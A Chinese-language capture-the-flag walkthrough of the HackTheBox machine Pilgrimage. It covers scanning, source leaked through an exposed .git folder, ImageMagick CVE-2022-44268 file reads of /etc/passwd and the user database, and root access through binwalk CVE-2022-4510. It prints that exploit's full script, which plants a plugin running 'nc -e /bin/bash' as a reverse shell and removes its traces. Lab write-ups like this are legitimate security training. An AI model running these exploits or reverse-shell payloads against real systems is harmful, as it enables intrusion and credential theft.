前言 虽然是HTB上easy难度的靶机，其实还是要有点难度的。主打的就是一个信息收集能力以及经验。值得尝试。
信息收集 nmap扫描 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 ┌──(kali㉿kali)-[~/HTB/Pilgrimage]for kali: for pilgrimage.htb (10.10.11.219)done : 1 IP address (1 host up) scanned in 13.24 secondsfor pilgrimage.htb (10.10.11.219)for host (test conditions non-ideal).done : 1 IP address (1 host up) scanned in 24.96 secondsdone ; ETC: 16:15 (0:00:05 remaining)done ; ETC: 16:22 (0:00:07 remaining)for pilgrimage.htb (10.10.11.219)'description' to name the...'t find any stored XSS vulnerabilities. |_http-fileupload-exploiter: ERROR: Script execution failed (use -d to debug) | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=pilgrimage.htb | Found the following possible CSRF vulnerabilities: | | Path: http://pilgrimage.htb:80/ | Form id: filename | Form action: / | | Path: http://pilgrimage.htb:80/dashboard.php | Form id: | Form action: /login.php | | Path: http://pilgrimage.htb:80/register.php | Form id: | Form action: /register.php | | Path: http://pilgrimage.htb:80/login.php | Form id: |_ Form action: /login.php |_http-dombased-xss: Couldn' t find any DOM based XSS.set done : 1 IP address (1 host up) scanned in 1021.09 seconds
省流一下就是发现80和22端口开着，且网站的Git仓库没删。git信息收集这块是我们接下来肯定要考虑的步骤。
whatweb 1 2 3 4 ┌──(kali㉿kali)-[~/HTB/Pilgrimage]
whatweb第一次扫的时候显示跳转，所以我们去hosts里把跳转地址http://pilgrimage.htb/给加上。网站大致的技术栈我们也了解了。
nikto 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ┌──(kali㉿kali)-[~/HTB/Pilgrimage]set . This could allow the user agent to render the content of the site in a different fashion to the MIME type . See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/'-C all' to force check all possible dirs )
因为有延迟的问题，可能会扫的很慢。但是好消息是还是给我们带来了有用信息：这一堆.git目录下的文件告诉我们网站所有者将网页服务上线时没把.git文件夹给删掉，这很可能导致源代码泄露，那我们之后就用工具给他下载下来看看。
web渗透 手动访问网站 既然nmap扫出了80端口的web网站，我们先登上去看看网站是啥情况。
网站实现的内容就是一个上传图片然后网页给你压缩并返回结果图片的链接。登录和注册页面没啥用，不涉及什么后台管理员登录页面。
了解了网站提供的服务，那他是怎么实现的呢？我们先google一下pilgrimage是不是一个通用的服务，发现并不是。那手动网页遍历就暂时没啥信息了，先回到之前我们发现的.git源码泄露这条路看看走不走得通吧。
.git源码泄露 我们直接使用GitHack 这个工具对网站的git文件进行一个提取。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 ┌──(kali㉿kali)-[~/HTB/Pilgrimage]
还是因为vpn连接的问题，下的好慢……不过好歹下载下来了，看看内容。
1 2 3 4 5 6 7 8 9 10 11 ┌──(kali㉿kali)-[~/HTB/Pilgrimage/pilgrimage.htb]
这么多文件，我们首先要看什么呢？当然是index.php了。因为我们想搞清楚网站图片压缩服务是怎么实现的，看看它的实现是否存在漏洞可以利用。所以我们肯定要先看这个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php"assets/bulletproof.php" ;function isAuthenticated return json_encode(isset($_SESSION ['user' ]));function returnUsername return "\"" . $_SESSION ['user' ] . "\"" ;if ($_SERVER ['REQUEST_METHOD' ] === 'POST' ) {$image = new Bulletproof\Image($_FILES );if ($image ["toConvert" ]) {$image ->setLocation("/var/www/pilgrimage.htb/tmp" );$image ->setSize(100, 4000000);$image ->setMime(array('png' ,'jpeg' ));$upload = $image ->upload();if ($upload ) {$mime = ".png" ;$imagePath = $upload ->getFullPath();if (mime_content_type($imagePath ) === "image/jpeg" ) {$mime = ".jpeg" ;$newname = uniqid();exec ("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $upload ->getName() . $mime . " -resize 50% /var/www/pilgrimage.htb/shrunk/" . $newname . $mime );unlink ($upload ->getFullPath());$upload_path = "http://pilgrimage.htb/shrunk/" . $newname . $mime ;if (isset($_SESSION ['user' ])) {$db = new PDO('sqlite:/var/db/pilgrimage' );$stmt = $db ->prepare("INSERT INTO `images` (url,original,username) VALUES (?,?,?)" );$stmt ->execute(array($upload_path ,$_FILES ["toConvert" ]["name" ],$_SESSION ['user' ]));"Location: /?message=" . $upload_path . "&status=success" );else {"Location: /?message=Image shrink failed&status=fail" );else {"Location: /?message=Image shrink failed&status=fail" );
文件开头就清晰的告诉了我们：exec("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $upload->getName() . $mime . " -resize 50% /var/www/pilgrimage.htb/shrunk/" . $newname . $mime);，网站服务用的是magick将图片缩小一半。刚好magick被我们下载下来了，我们直接看看magick的版本。
此外，除了使用的服务，它还贴心的告诉我们网站连接的数据的位置$db = new PDO('sqlite:/var/db/pilgrimage');。那我们之后肯定要想办法看看，说不定能获得用户的复用的登录凭证。
1 2 3 4 5 6 7 8 ┌──(kali㉿kali)-[~/HTB/Pilgrimage/pilgrimage.htb]
我们可以看到版本是ImageMagick 7.1.0-49，在exp-db搜一下是不是有可用的漏洞。发现确实有https://github.com/voidz0r/CVE-2022-44268。
Magick任意文件读取漏洞 验证PoC 此版本的magick存在任意文件读取的漏洞，PoC也介绍的很详细，我们尝试复现一下看看能不能成功利用这个PoC。
git clone https://github.com/voidz0r/CVE-2022-44268
cargo run "/etc/passwd"
此时会生成一张图片，我们直接把这张图片上传到目标网站，并把返回的图片下载下来。
然后我们就可以分析返回的图片了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 ┌──(kali㉿kali)-[~/HTB/Pilgrimage]
按照说明将其中的16进制数转换成字符看看结果
1 2 3 ┌──(kali㉿kali)-[~/HTB/Pilgrimage]'print(bytes.fromhex("那一串hex数据"))' 'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\nsystemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nmessagebus:x:103:109::/nonexistent:/usr/sbin/nologin\nsystemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\nemily:x:1000:1000:emily,,,:/home/emily:/bin/bash\nsystemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin\nsshd:x:105:65534::/run/sshd:/usr/sbin/nologin\n_laurel:x:998:998::/var/log/laurel:/bin/false\n'
成功利用!
通过读取/etc/passwd我们不仅验证了漏洞的存在，还发现了系统中的一个用户emily。那接下来就是想办法搞到emily的密码。
当然首先想试试能不能直接读取shadow文件偷鸡，发现并不行。那只能寄希望于之前发现的数据库中能给我们点有用的信息了。
读数据库 步骤同上，就是把第二步改成cargo run "/var/db/pilgrimage"，再重复上面的步骤。当然第5步还是要改一改的。因为sqlite识别数据库文件需要是二进制的，所以我们给他转成二进制。这可以直接用linux自带的xxd实现（xxd -r -ps ）。
1 2 3 4 5 6 7 8 ┌──(kali㉿kali)-[~/HTB/Pilgrimage]
数据处理完了，我们把它丢进sqlite3查看。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ┌──(kali㉿kali)-[~/HTB/Pilgrimage]".help" for usage hints.users select * from users exit
发现users表中刚好有emily的密码，那我们肯定得试试能不能ssh登录系统。
获取立足点 1 2 3 4 5 6 7 8 9 10 11 12 ┌──(kali㉿kali)-[~/HTB/Pilgrimage/pilgrimage.htb]'s password: Linux pilgrimage 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. emily@pilgrimage:~$
成功登录，emily的home目录下就有可以拿到user flag。
提权 三板斧 上来先sudo -l ，没权限。找一找SUID文件，没发现。看一看crontab，没东西。得了，啥也没有。
手动浏览 四处查看，也没有看到什么特别的东西。
自动枚举 那只能上大招了，把linpeas.sh传上去看看结果。
1 2 3 4 5 6 7 8 ╔══════════╣ Checking sudo tokens
其他没啥特别的，但是这一段值得我们看一下。首先我们查一下他这里说的sudo tokens有没有什么利用方案。查了一下发现背景是同一用户，不知道密码的情况，另一个终端15分钟内输入过sudo密码，当前终端就可以不用密码执行sudo命令。我们ps aux看了一下，发现malwarescan.sh是root用户运行的，并不能用到这个利用方式。
虽然没能利用，但是毕竟malwarescan.sh是root运行的一个shell脚本，我们去看看他的内容有没有什么可以利用来提权的点。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 emily@pilgrimage:/usr/sbin$ cat malwarescan.sh "Executable script" "Microsoft executable" )while read FILE; do "/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE " | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p') " "$(/usr/local/bin/binwalk -e "$filename " ) " for banned in "${blacklist[@]} " ; do if [[ "$binout " == *"$banned " * ]]; then "$filename " break fi done done
内容很符合脚本名字，扫描文件，发现黑名单中的类型就删掉。
我们发现脚本中的二进制文件都很严谨的写了绝对路径，想利用PATH偷鸡的想法是走不通了。那这些二进制文件是否会存在漏洞可以供我们利用？一个看看吧，inotifywait主要是用来监控文件的，这里持续监控（-m）/var/www/pilgrimage.htb/shrunk/下文件的创建。查了一下没发现可以用来提权的方法。echo，tail和sed就不用看了。那最好只能看看binwalk有什么说法了，没有的话就要想想别的办法了。
我们先看看binwalk的版本。
1 2 3 4 5 6 7 emily@pilgrimage:/usr/sbin$ /usr/local/bin/binwalk -h
binwalk提权 在exp-db上搜发现这个版本的binwalk确实存在RCE漏洞。
1 2 3 4 5 6 7 8 ┌──(kali㉿kali)-[~/HTB/Pilgrimage/pilgrimage.htb]
搜了一下漏洞的成因是binwalk解析PFS文件时的防路径穿越代码存在问题，导致攻击者可以构造恶意文件直接进行路径穿越。当使用binwalk的-e选项对该恶意文件进行自动提取时，将触发漏洞，将攻击者构造的恶意文件中内嵌的文件写入提取目录之外的路径。这还可以导致远程代码执行。
将漏洞利用脚本下载下来看看。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 ┌──(kali㉿kali)-[~/Tools/AutoEnum]cat 51249.py print ("" )print ("################################################" )print ("------------------CVE-2022-4510----------------" )print ("################################################" )print ("--------Binwalk Remote Command Execution--------" )print ("------Binwalk 2.1.2b through 2.3.2 included-----" )print ("------------------------------------------------" )print ("################################################" )print ("----------Exploit by: Etienne Lacoche-----------" )print ("---------Contact Twitter: @electr0sm0g----------" )print ("------------------Discovered by:----------------" )print ("---------Q. Kaiser, ONEKEY Research Lab---------" )print ("---------Exploit tested on debian 11------------" )print ("################################################" )print ("" )"file" , help ="Path to input .png file" ,default=1)"ip" , help ="Ip to nc listener" ,default=1)"port" , help ="Port to nc listener" ,default=1)if args.file and args.ip and args.port:"5046532f302e390000000000000001002e2e2f2e2e2f2e2e2f2e636f6e6669672f62696e77616c6b2f706c7567696e732f62696e77616c6b2e70790000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034120000a0000000c100002e" )'import binwalk.core.plugin\n' ,'import os\n' , 'import shutil\n' ,'class MaliciousExtractor(binwalk.core.plugin.Plugin):\n' ,' def init(self):\n' ,' if not os.path.exists("/tmp/.binwalk"):\n' ,' os.system("nc ' ,str(args.ip)+' ' ,str(args.port)+' ' ,'-e /bin/bash 2>/dev/null &")\n' ,' with open("/tmp/.binwalk", "w") as f:\n' ,' f.write("1")\n' ,' else:\n' ,' os.remove("/tmp/.binwalk")\n' , ' os.remove(os.path.abspath(__file__))\n' ,' shutil.rmtree(os.path.join(os.path.dirname(os.path.abspath(__file__)), "__pycache__"))\n' ]"rb" )"/tmp/plugin" , "w" ) as f:for line in lines:"/tmp/plugin" , "rb" ) as f:"rm /tmp/plugin" )"binwalk_exploit.png" , "wb" ) as f:print ("" )print ("You can now rename and share binwalk_exploit and start your local netcat listener." )print ("" )
我们执行一下，在图片中嵌入漏洞利用的PFS。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ┌──(kali㉿kali)-[~/HTB/Pilgrimage]local netcat listener.
然后我们把文件传上去，直接传到/var/www/pilgrimage.htb/shrunk/可能脚本不会执行，不过我们复制过去的话就可以触发。
本地开个nc监听
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ┌──(kali㉿kali)-[~/HTB/Pilgrimage]
拿下。root目录下有root flag。
总结 这台机子主要考察git源代码泄露的信息收集，对应服务漏洞的发现与利用，以及提权部分对可疑文件的分析与提权思路构建。总体来说还是要提高姿势水平，才能轻松应对。
